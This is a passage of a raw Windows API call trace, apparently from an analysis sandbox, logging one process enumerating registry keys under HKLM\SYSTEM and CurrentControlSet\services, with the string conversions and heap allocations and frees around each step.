WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.514] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0206.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.515] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.515] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0206.515] RegCloseKey (hKey=0x80000002) returned 0x0 [0206.515] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.515] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0206.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.516] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.516] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.516] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.516] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0206.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.517] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0206.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.518] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0206.518] RegCloseKey (hKey=0xc4) returned 0x0 [0206.518] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.518] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.518] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0206.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.519] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.519] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.519] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0206.519] RegCloseKey (hKey=0x14c) returned 0x0 [0206.519] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0206.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1ad8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, 